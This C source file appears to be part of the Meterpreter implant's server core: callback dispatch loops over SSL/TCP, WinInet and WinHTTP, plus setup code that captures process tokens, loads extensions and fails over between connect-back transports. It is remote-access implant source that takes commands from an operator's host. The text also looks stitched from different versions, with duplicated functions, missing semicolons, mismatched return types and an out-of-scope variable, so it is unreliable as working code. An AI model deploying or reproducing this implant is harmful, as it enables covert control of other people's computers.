/*
* The servers main dispatch loop for incoming requests using SSL over TCP
*/
static DWORD server_dispatch( Remote * remote )
{
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
dprintf( "[DISPATCH] entering server_dispatch( 0x%08X )", remote );
// Bring up the scheduler subsystem.
result = scheduler_initialize( remote );
if( result != ERROR_SUCCESS )
return result;
while( TRUE )
{
if( event_poll( serverThread->sigterm, 0 ) )
{
dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
break;
}
result = server_socket_poll( remote, 100 );
if( result > 0 )
{
result = packet_receive( remote, &packet );
if( result != ERROR_SUCCESS ) {
dprintf( "[DISPATCH] packet_receive returned %d, exiting dispatcher...", result );
break;
}
cpt = thread_create( command_process_thread, remote, packet );
if( cpt )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
}
}
else if( result < 0 )
{
dprintf( "[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result );
break;
}
}
dprintf( "[DISPATCH] calling scheduler_destroy..." );
scheduler_destroy();
dprintf( "[DISPATCH] calling command_join_threads..." );
command_join_threads();
dprintf( "[DISPATCH] leaving server_dispatch." );
return result;
}
/*!
* @brief The servers main dispatch loop for incoming requests using SSL over TCP
* @param remote Pointer to the remote endpoint for this server connection.
* @returns Indication of success or failure.
*/
static BOOL server_dispatch_tcp(Remote * remote, THREAD* dispatchThread)
{
BOOL running = TRUE;
LONG result = ERROR_SUCCESS;
Packet *packet = NULL;
THREAD *cpt = NULL;
dprintf("[DISPATCH] entering server_dispatch( 0x%08X )", remote);
// Bring up the scheduler subsystem.
result = scheduler_initialize(remote);
if (result != ERROR_SUCCESS) {
return result;
}
while (running) {
if (event_poll(dispatchThread->sigterm, 0)) {
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
break;
}
result = server_socket_poll(remote, 500000);
if (result > 0) {
result = packet_receive_via_ssl(remote, &packet);
if (result != ERROR_SUCCESS) {
dprintf("[DISPATCH] packet_receive returned %d, exiting dispatcher...", result);
break;
}
running = command_handle(remote, packet);
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
}
else if (result < 0) {
dprintf("[DISPATCH] server_socket_poll returned %d, exiting dispatcher...", result);
break;
}
}
dprintf("[DISPATCH] calling scheduler_destroy...")
scheduler_destroy();
dprintf("[DISPATCH] calling command_join_threads...")
command_join_threads();
dprintf("[DISPATCH] leaving server_dispatch.");
return result;
}
/*
* The servers main dispatch loop for incoming requests using SSL over TCP
*/
static DWORD server_dispatch_http_wininet( Remote * remote )
{
LONG result = ERROR_SUCCESS;
Packet * packet = NULL;
THREAD * cpt = NULL;
URL_COMPONENTS bits;
DWORD ecount = 0;
DWORD delay = 0;
char tmpHostName[512];
char tmpUrlPath[1024];
if (global_expiration_timeout > 0)
remote->expiration_time = current_unix_timestamp() + global_expiration_timeout;
else
remote->expiration_time = 0;
remote->comm_timeout = global_comm_timeout;
remote->start_time = current_unix_timestamp();
remote->comm_last_packet = current_unix_timestamp();
// Allocate the top-level handle
if (!strcmp(global_meterpreter_proxy,"METERPRETER_PROXY")) {
remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
}
else {
remote->hInternet = InternetOpen(global_meterpreter_ua, INTERNET_OPEN_TYPE_PROXY, global_meterpreter_proxy, NULL, 0);
} if (!remote->hInternet) {
dprintf("[DISPATCH] Failed InternetOpen: %d", GetLastError());
return 0;
}
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet);
// The InternetCrackUrl method was poorly designed...
memset(tmpHostName, 0, sizeof(tmpHostName));
memset(tmpUrlPath, 0, sizeof(tmpUrlPath));
memset(&bits, 0, sizeof(bits));
bits.dwStructSize = sizeof(bits);
bits.dwHostNameLength = sizeof(tmpHostName) -1;
bits.lpszHostName = tmpHostName;
bits.dwUrlPathLength = sizeof(tmpUrlPath) -1;
bits.lpszUrlPath = tmpUrlPath;
InternetCrackUrl(remote->url, 0, 0, &bits);
remote->uri = _strdup(tmpUrlPath);
dprintf("[DISPATCH] Configured URL: %s", remote->uri);
dprintf("[DISPATCH] Host: %s Port: %u", tmpHostName, bits.nPort);
// Allocate the connection handle
remote->hConnection = InternetConnect(remote->hInternet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!remote->hConnection) {
dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
return 0;
}
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection);
//authentication
if (!(strcmp(global_meterpreter_proxy_username, "METERPRETER_USERNAME_PROXY") == 0))
{
InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_USERNAME, global_meterpreter_proxy_username, (DWORD)strlen(global_meterpreter_proxy_username)+1);
InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_PASSWORD, global_meterpreter_proxy_password, (DWORD)strlen(global_meterpreter_proxy_password)+1);
dprintf("[DISPATCH] Proxy authentication configured : %s/%s", global_meterpreter_proxy_username, global_meterpreter_proxy_password);
}
// Bring up the scheduler subsystem.
result = scheduler_initialize( remote );
if( result != ERROR_SUCCESS )
return result;
while( TRUE )
{
if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp()) {
dprintf("[DISPATCH] Shutting down server due to communication timeout");
break;
}
if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp()) {
dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->expiration_time);
break;
}
if( event_poll( serverThread->sigterm, 0 ) )
{
dprintf( "[DISPATCH] server dispatch thread signaled to terminate..." );
break;
}
dprintf("[DISPATCH] Reading data from the remote side...");
result = packet_receive( remote, &packet );
if( result != ERROR_SUCCESS ) {
// Update the timestamp for empty replies
if (result == ERROR_EMPTY)
remote->comm_last_packet = current_unix_timestamp();
if (ecount < 10)
delay = 10 * ecount;
else
delay = 100 * ecount;
ecount++;
dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
Sleep( min(10000, delay) );
continue;
}
remote->comm_last_packet = current_unix_timestamp();
// Reset the empty count when we receive a packet
ecount = 0;
dprintf("[DISPATCH] Returned result: %d", result);
cpt = thread_create( command_process_thread, remote, packet );
if( cpt )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
}
}
// Close WinInet handles
InternetCloseHandle(remote->hConnection);
InternetCloseHandle(remote->hInternet);
dprintf( "[DISPATCH] calling scheduler_destroy..." );
scheduler_destroy();
dprintf( "[DISPATCH] calling command_join_threads..." );
command_join_threads();
dprintf( "[DISPATCH] leaving server_dispatch." );
return result;
}
/*!
* @brief Setup and run the server. This is called from Init via the loader.
* @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
* @return Meterpreter exit code (ignored by the caller).
*/
DWORD server_setup(MetsrvConfig* config)
{
THREAD* serverThread = NULL;
Remote* remote = NULL;
char stationName[256] = { 0 };
char desktopName[256] = { 0 };
DWORD res = 0;
dprintf("[SERVER] Initializing from configuration: 0x%p", config);
dprintf("[SESSION] Comms Fd: %u", config->session.comms_fd);
dprintf("[SESSION] Expiry: %u", config->session.expiry);
dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3],
config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7],
config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11],
config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]);
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.
InitAppInstance();
srand((unsigned int)time(NULL));
__try
{
do
{
dprintf("[SERVER] module loaded at 0x%08X", hAppInstance);
// Open a THREAD item for the servers main thread, we use this to manage migration later.
serverThread = thread_open();
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);
if (!(remote = remote_allocate()))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
setup_ssl_lib(&remote->ssl);
remote->orig_config = config;
remote->sess_expiry_time = config->session.expiry;
remote->sess_start_time = current_unix_timestamp();
remote->sess_expiry_end = remote->sess_start_time + config->session.expiry;
dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end);
DWORD transportSize = 0;
if (!create_transports(remote, config->transports, &transportSize))
{
// not good, bail out!
SetLastError(ERROR_BAD_ARGUMENTS);
break;
}
// the first transport should match the transport that we initially connected on.
// If it's TCP comms, we need to wire that up.
if (remote->transport->type == METERPRETER_TRANSPORT_SSL && config->session.comms_fd)
{
((TcpTransportContext*)remote->transport->ctx)->fd = (SOCKET)config->session.comms_fd;
}
// Set up the transport creation function pointer
remote->trans_create = create_transport;
// Set up the transport removal function pointer
remote->trans_remove = remove_transport;
// and the config creation pointer
remote->config_create = config_create;
// Store our thread handle
remote->server_thread = serverThread->handle;
dprintf("[SERVER] Registering dispatch routines...");
register_dispatch_routines();
// this has to be done after dispatch routine are registered
load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize));
// Store our process token
if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token))
{
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token);
}
if (scheduler_initialize(remote) != ERROR_SUCCESS)
{
SetLastError(ERROR_BAD_ENVIRONMENT);
break;
}
// Copy it to the thread token
remote->thread_token = remote->server_token;
// Save the initial session/station/desktop names...
remote->orig_sess_id = server_sessionid();
remote->curr_sess_id = remote->orig_sess_id;
GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL);
remote->orig_station_name = _strdup(stationName);
remote->curr_station_name = _strdup(stationName);
GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL);
remote->orig_desktop_name = _strdup(desktopName);
remote->curr_desktop_name = _strdup(desktopName);
remote->sess_start_time = current_unix_timestamp();
// loop through the transports, reconnecting each time.
while (remote->transport)
{
if (remote->transport->transport_init)
{
dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
// Each transport has its own set of retry settings and each should honour
// them individually.
if (!remote->transport->transport_init(remote->transport))
{
dprintf("[SERVER] transport initialisation failed, moving to the next transport");
remote->transport = remote->transport->next_transport;
// when we have a list of transports, we'll iterate to the next one.
continue;
}
}
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);
dprintf("[DISPATCH] dispatch exited with result: %u", dispatchResult);
if (remote->transport->transport_deinit)
{
dprintf("[DISPATCH] deinitialising transport");
remote->transport->transport_deinit(remote->transport);
}
dprintf("[TRANS] resetting transport");
if (remote->transport->transport_reset)
{
remote->transport->transport_reset(remote->transport, dispatchResult == ERROR_SUCCESS && remote->next_transport == NULL);
}
// If the transport mechanism failed, then we should loop until we're able to connect back again.
if (dispatchResult == ERROR_SUCCESS)
{
dprintf("[DISPATCH] Server requested shutdown of dispatch");
// But if it was successful, and this is a valid exit, then we should clean up and leave.
if (remote->next_transport == NULL)
{
dprintf("[DISPATCH] No next transport specified, leaving");
// we weren't asked to switch transports, so we exit.
break;
}
// we need to change transports to the one we've been given. We will assume, for now,
// that the transport has been created using the appropriate functions and that it is
// part of the transport list.
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->next_transport);
remote->transport = remote->next_transport;
remote->next_transport = NULL;
}
else
{
// move to the next one in the list
dprintf("[TRANS] Moving transport from 0x%p to 0x%p", remote->transport, remote->transport->next_transport);
remote->transport = remote->transport->next_transport;
}
// transport switching and failover both need to support the waiting functionality.
if (remote->next_transport_wait > 0)
{
dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);
sleep(remote->next_transport_wait);
// the wait is a once-off thing, needs to be reset each time
remote->next_transport_wait = 0;
}
}
// clean up the transports
while (remote->transport)
{
remove_transport(remote, remote->transport);
}
dprintf("[SERVER] Deregistering dispatch routines...");
deregister_dispatch_routines(remote);
} while (0);
dprintf("[DISPATCH] calling scheduler_destroy...");
scheduler_destroy();
dprintf("[DISPATCH] calling command_join_threads...");
command_join_threads();
remote_deallocate(remote);
}
__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
{
dprintf("[SERVER] *** exception triggered!");
thread_kill(serverThread);
}
dprintf("[SERVER] Finished.");
return res;
}
BOOL server_init_http_winhttp(Remote* remote, SOCKET fd)
{
URL_COMPONENTS bits;
wchar_t tmpHostName[512];
wchar_t tmpUrlPath[1024];
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
dprintf("[WINHTTP] Initialising ...");
// configure proxy
if (ctx->proxy && wcscmp(ctx->proxy, L"METERPRETER_PROXY") != 0)
{
dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy);
ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0);
}
else
{
ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
}
if (!ctx->internet)
{
dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError());
return FALSE;
}
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
// The InternetCrackUrl method was poorly designed...
ZeroMemory(tmpHostName, sizeof(tmpHostName));
ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath));
ZeroMemory(&bits, sizeof(bits));
bits.dwStructSize = sizeof(bits);
bits.dwHostNameLength = HOSTNAME_LEN - 1;
bits.lpszHostName = tmpHostName;
bits.dwUrlPathLength = URLPATH_LEN - 1;
bits.lpszUrlPath = tmpUrlPath;
dprintf("[DISPATCH] About to crack URL: %S", remote->transport->url);
WinHttpCrackUrl(remote->transport->url, 0, 0, &bits);
ctx->uri = _wcsdup(tmpUrlPath);
dprintf("[DISPATCH] Configured URI: %S", ctx->uri);
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
// Allocate the connection handle
ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0);
if (!ctx->connection)
{
dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError());
return FALSE;
}
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
// Bring up the scheduler subsystem.
return scheduler_initialize(remote) == ERROR_SUCCESS;
}
